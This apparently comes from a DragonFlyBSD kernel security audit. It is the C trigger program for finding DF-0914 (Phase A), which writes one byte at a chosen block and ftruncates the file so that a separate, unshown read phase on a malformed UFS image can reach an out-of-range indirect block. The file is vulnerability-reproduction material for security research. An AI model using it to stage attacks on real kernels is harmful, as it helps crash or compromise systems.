DragonFlyBSD Kernel Audit
DF-0914 / trigger.c
← back to finding ↓ download raw
/*
 * trigger.c - DF-0914 write-phase trigger (Phase A).
 *
 * Opens a file on a CORRECT (unforged) UFS filesystem, writes 1 byte at
 * lbn=12 (allocates i_ib[0] single-indirect block with correct in_off=0),
 * then ftruncates to a large size (covers lbn=8203 for Phase B's read).
 *
 * With correct fs_nindir, all ffs_balloc operations are in-bounds.
 *
 * Build: cc -o trigger trigger.c
 * Usage: ./trigger <file> <write_off> <dummy>
 *   write_off defaults to 196608 (lbn=12)
 */
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>

int main(int argc, char **argv)
{
    const char *path = (argc > 1) ? argv[1] : "/mnt/test/target";
    off_t write_off  = (argc > 2) ? strtoull(argv[2], NULL, 0) : 196608;
    off_t extend_to  = 134283264 + 1;  /* covers lbn=8203 */

    printf("=== DF-0914 Phase A: write + ftruncate on correct image ===\n");
    printf("file:       %s\n", path);
    printf("write_off:  %lld (lbn=%lld)\n",
           (long long)write_off, (long long)(write_off / 16384));
    printf("extend_to:  %lld (covers lbn=8203)\n", (long long)extend_to);

    int fd = open(path, O_RDWR | O_CREAT, 0644);
    if (fd < 0) { perror("open"); return 2; }

    /* Write 1 byte at lbn=12 to allocate i_ib[0] */
    printf("[A1] writing 1 byte at offset %lld ...\n", (long long)write_off);
    if (lseek(fd, write_off, SEEK_SET) < 0) { perror("lseek"); close(fd); return 2; }
    char z = 'X';
    if (write(fd, &z, 1) != 1) {
        perror("write"); close(fd); return 3;
    }
    printf("     WRITE OK (i_ib[0] allocated)\n");

    /* ftruncate to cover lbn=8203 — sparse, no block allocation */
    printf("[A2] ftruncate to %lld ...\n", (long long)extend_to);
    if (ftruncate(fd, extend_to) < 0) {
        perror("ftruncate"); close(fd); return 2;
    }
    printf("     FTRUNCATE OK (i_size = %lld)\n", (long long)extend_to);

    close(fd);
    return 0;
}